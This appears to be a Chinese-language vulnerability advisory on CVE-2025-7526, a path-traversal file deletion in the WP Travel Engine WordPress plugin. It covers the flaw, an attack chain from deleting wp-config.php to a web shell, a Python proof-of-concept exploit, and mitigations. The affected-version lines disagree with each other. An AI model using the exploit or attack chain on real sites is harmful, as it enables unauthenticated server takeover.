IPBUF安全漏洞报告
English
CVE-2025-7526 CVSS 9.8 严重

CVE-2025-7526:WP Travel Engine插件任意文件删除导致远程代码执行漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-7526
漏洞类型
任意文件删除(路径遍历)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Travel Engine – Tour Booking Plugin – Tour Operator Software(WordPress插件)

相关标签

任意文件删除路径遍历远程代码执行WordPressWP Travel Engine插件漏洞未认证漏洞CVSS 9.8严重漏洞CVE-2025-7526

漏洞概述

CVE-2025-7526是WordPress的WP Travel Engine(旅游预订插件/旅游运营商软件)中的一个严重安全漏洞。该漏洞存在于插件的`set_user_profile_image`函数中,由于对文件路径验证不足,导致未经身份验证的攻击者可以通过重命名操作实现任意文件删除。该漏洞的CVSS评分为9.8,属于严重级别,影响该插件所有6.6.7及以下版本。

该漏洞的利用门槛极低——攻击者无需任何认证即可通过网络远程发起攻击,无需用户交互。一旦成功利用,攻击者可以删除服务器上的任意文件。当删除关键文件(如WordPress的`wp-config.php`配置文件)时,WordPress将进入安装向导状态,攻击者可以借此重新配置数据库连接并注入恶意代码,从而实现远程代码执行(RCE),完全控制目标服务器。

该漏洞由WordPress安全公司Wordfence的安全研究人员发现并报告。由于WP Travel Engine是一款广泛使用的旅游预订插件,拥有大量活跃安装站点,此漏洞的影响范围广泛,可能导致大量WordPress网站面临被入侵的风险。网站管理员应立即检查并更新插件至修复版本,以防止潜在的攻击。

技术细节

该漏洞的根本原因在于WP Travel Engine插件中`set_user_profile_image`函数对用户提供的文件路径缺乏充分的验证和过滤。具体技术细节如下:

1. **漏洞位置**:漏洞存在于`includes/dashboard/class-wp-travel-engine-form-handler.php`文件的`set_user_profile_image`函数中(第512行附近,对应6.5.6版本标签)。

2. **漏洞原理**:该函数在处理用户上传的头像/个人资料图片时,允许通过参数控制文件的保存路径和文件名。攻击者可以通过构造特殊的路径参数(如使用`../`目录遍历序列),将原本应该保存到上传目录的文件重命名到服务器上的任意位置。当目标文件已存在时,重命名操作将覆盖或删除原文件。

3. **利用方式**:
- 攻击者向存在漏洞的端点发送精心构造的HTTP请求
- 请求中包含恶意的文件路径参数,指向关键系统文件(如`wp-config.php`)
- 插件执行重命名操作,将临时文件重命名到目标路径
- 由于重命名操作在大多数文件系统中会原子替换目标文件,`wp-config.php`被删除/覆盖
- WordPress失去配置文件后进入安装状态
- 攻击者通过安装向导重新配置数据库连接,植入恶意后门

4. **影响升级**:单独的任意文件删除通常被认为是中等严重性漏洞,但当能够删除`wp-config.php`时,攻击者可以通过WordPress安装流程获得代码执行权限,从而将漏洞影响升级为完整的远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过指纹识别确认目标WordPress站点安装了WP Travel Engine插件且版本低于或等于6.6.7
STEP 2
步骤2:构造恶意请求
攻击者构造包含目录遍历路径(如../../../wp-config.php)的HTTP请求,发送到存在漏洞的set_user_profile_image端点
STEP 3
步骤3:触发任意文件删除
由于set_user_profile_image函数未充分验证文件路径,插件执行重命名操作,将目标文件(如wp-config.php)删除或覆盖
STEP 4
步骤4:触发WordPress重新安装
wp-config.php被删除后,WordPress检测到配置缺失,自动进入安装向导页面
STEP 5
步骤5:实现远程代码执行
攻击者通过安装向导重新配置WordPress,连接到攻击者控制的数据库或注入恶意代码到新生成的wp-config.php中
STEP 6
步骤6:完全控制服务器
通过上传Web Shell或修改主题/插件代码,攻击者获得对目标服务器的完全控制权限,可执行任意系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-7526 PoC - WP Travel Engine Arbitrary File Deletion # Vulnerability: Insufficient file path validation in set_user_profile_image() # Impact: Arbitrary file deletion leading to RCE via wp-config.php deletion import requests TARGET_URL = "http://target-wordpress-site.com" # Target file to delete - wp-config.php leads to RCE via reinstall wizard TARGET_FILE = "../../../wp-config.php" def exploit(target_url, target_file): """ Exploit arbitrary file deletion via path traversal in WP Travel Engine's set_user_profile_image function. """ # The vulnerable endpoint handles profile image upload/rename endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with directory traversal in image path payload = { "action": "wp_travel_engine_set_user_profile_image", "user_id": "1", "profile_image": target_file # Path traversal to delete arbitrary file } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Send unauthenticated request - no auth required (PR:N) response = requests.post(endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Target file '{target_file}' should now be deleted/renamed") print(f"[+] Visit {target_url}/wp-admin/install.php to complete RCE") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": exploit(TARGET_URL, TARGET_FILE)

影响范围

WP Travel Engine < 6.6.7
WP Travel Engine <= 6.6.7

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署规则,阻止包含`../`目录遍历特征的请求;2)在`.htaccess`或Nginx配置中限制对`admin-ajax.php`中`wp_travel_engine_set_user_profile_image` action的访问;3)对`wp-config.php`文件设置只读权限(chmod 444),防止被修改或删除;4)监控服务器文件系统变更,对关键文件(如wp-config.php、.htaccess)的任何修改设置告警;5)检查是否有可疑的管理员账户或未知的插件/主题被安装。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表